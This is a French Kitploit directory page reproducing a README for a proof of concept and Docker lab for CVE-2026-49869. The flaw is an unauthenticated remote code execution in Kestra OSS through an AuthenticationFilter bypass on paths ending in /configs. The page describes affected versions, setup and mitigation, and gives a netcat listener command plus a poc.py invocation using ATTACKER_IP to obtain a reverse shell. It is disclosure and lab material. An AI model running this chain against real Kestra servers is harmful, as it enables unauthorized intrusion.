Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-49869 — PoC et lab Docker pour CVE-2026-49869, une RCE non authentifiée dans Kestra OSS via un contournement de chemin AuthenticationFilter qui permet la création de flux et l'exécution de commandes. | Kitploit
Outils/GitHubGitHub/eqstlab/cve-2026-49869
Analyse des VulnérabilitésExploitationExploitation d'Applications WebVirtualisation de SécuritéSécurité WebTests d'IntrusionAuthentificationOutil d'Accès à DistanceLabs et Pratique
GitHubeqstlab/cve-2026-49869

CVE-2026-49869

PoC et lab Docker pour CVE-2026-49869, une RCE non authentifiée dans Kestra OSS via un contournement de chemin AuthenticationFilter qui permet la création de flux et l'exécution de commandes.

15il y a 1 jourPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-49869 : Exécution de code à distance non authentifiée dans Kestra

★PoC et laboratoire Docker pour le contournement d'authentification dans AuthenticationFilter de Kestra OSS★

N'exécutez ce laboratoire que sur des systèmes que vous contrôlez. L'exemple -p 8080:8080 peut exposer l'API vulnérable sur toutes les interfaces de l'hôte ; bloquez l'accès depuis les autres réseaux.

https://github.com/user-attachments/assets/e8dc29f2-1fd2-49bb-9a61-3ae67ee69865

Vue d'ensemble

Kestra utilise l'authentification Basic pour protéger son API. Dans les versions OSS affectées, AuthenticationFilter traite tout chemin de requête se terminant par /configs comme un point de terminaison de configuration public. Un client non authentifié peut donc créer un flow nommé configs puis l'exécuter via des chemins d'API qui se terminent tous les deux par /configs. Une tâche shell dans ce flow peut exécuter des commandes dans le conteneur worker de Kestra. Le défaut et la chaîne d'exploitation RCE sont décrits dans l'avis de sécurité Kestra.

Versions affectées

Branche Kestra OSSVersions vulnérablesPremière version corrigée
1.0.x et antérieuresAvant 1.0.451.0.45
1.1.x–1.3.x1.1.0 à 1.3.201.3.21

Le laboratoire utilise v1.3.20 avec l'authentification Basic OSS activée. Le problème affecte ce chemin d'authentification lorsque l'API Kestra est joignable ; l'image locale est basée sur kestra/kestra:v1.3.20.

Impact

  • Créer et exécuter un flow sans identifiants.
  • Exécuter des commandes via une tâche de script installée, avec les privilèges du conteneur worker.
  • Accéder à d'autres ressources ou les modifier dont le chemin d'API se termine par /configs ; l'avis décrit également une SSRF via un modèle de workflow.

Les privilèges du conteneur n'impliquent pas les privilèges de l'hôte.

Environnement

Le dépôt doit contenir Dockerfile, entrypoint.sh et poc.py aux côtés de ce README. Docker est requis pour exécuter la cible ; Python 3 est requis pour le PoC. Aucun paquet Python n'a besoin d'être installé.

docker build -t cve-2026-49869-lab .
docker run -d --name cve-2026-49869-lab -p 8080:8080 cve-2026-49869-lab

entrypoint.sh active l'authentification Basic avec un compte réservé au laboratoire :

Nom d'utilisateurMot de passe
[email protected]Eqst123!

Kestra exige un nom d'utilisateur au format e-mail et un mot de passe d'au moins huit caractères, comportant des lettres majuscules et minuscules, et un chiffre. Ces identifiants sont publiés uniquement pour les tests locaux.

Attendez que la première requête renvoie 200. La seconde requête doit renvoyer 401, montrant que l'authentification Basic protège un chemin d'API ordinaire :

curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/configs
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/main/flows/tutorial/notconfigs

Si un conteneur arrêté porte déjà le même nom, utilisez docker start cve-2026-49869-lab pour le réutiliser, ou supprimez ce conteneur avant d'en créer un nouveau avec docker run.

PoC

Le script envoie deux requêtes sans identifiants : l'une crée ou met à jour configs/configs avec une tâche shell, et la suivante démarre son exécution. Aucun flow créé par un utilisateur existant n'est nécessaire. Relancer le script remplace le flow de laboratoire par le même nom.

D'abord, démarrez un listener sur la machine qui recevra la connexion shell :

nc -lvnp LISTENER_PORT

Ensuite, exécutez le PoC depuis le répertoire contenant poc.py :

python poc.py http://TARGET:8080 --lhost ATTACKER_IP --lport LISTENER_PORT

Pour un laboratoire Docker sur la même machine, remplacez TARGET par 127.0.0.1. Définissez ATTACKER_IP sur une adresse IPv4 que le conteneur peut atteindre ; le script ne démarre pas le listener. Le script affiche la réponse d'exécution, y compris un ID d'exécution. Une connexion au niveau du listener est nécessaire pour confirmer que le reverse shell lui-même a fonctionné.

Résultats observés

Le test local enregistré a utilisé une tâche Log inoffensive pour vérifier le contournement d'authentification et l'exécution du workflow. Il n'a pas exécuté la charge utile du reverse shell.

Vérificationv1.3.20v1.3.21
API protégée ordinaire, sans identifiants401401
Création du flow configs, sans identifiants200401
Démarrage de l'exécution de configs, sans identifiants200401
Tâche inoffensive sur version vulnérableSUCCESS, marqueur dans les logs—

Le rappel du reverse shell ne fait pas partie de ces résultats enregistrés.

Atténuation

Mettez à niveau vers au moins 1.0.45 sur la branche 1.0.x ou 1.3.21 sur les branches 1.1.x–1.3.x. Le correctif amont normalise le chemin et vérifie la route de configuration publique exacte au lieu d'accepter tout suffixe /configs. Tant que la mise à niveau n'est pas terminée, restreignez l'accès à l'API Kestra et n'autorisez l'accès non authentifié qu'à la route publique prévue au niveau d'un proxy.

Nettoyage

docker rm -f cve-2026-49869-lab
docker image rm cve-2026-49869-lab

Références

  • Avis de sécurité Kestra GHSA-5vc5-wxxq-3fjx
  • Fiche CVE-2026-49869
  • Version Kestra v1.3.21
  • Correctif AuthenticationFilter
Télécharger l’outil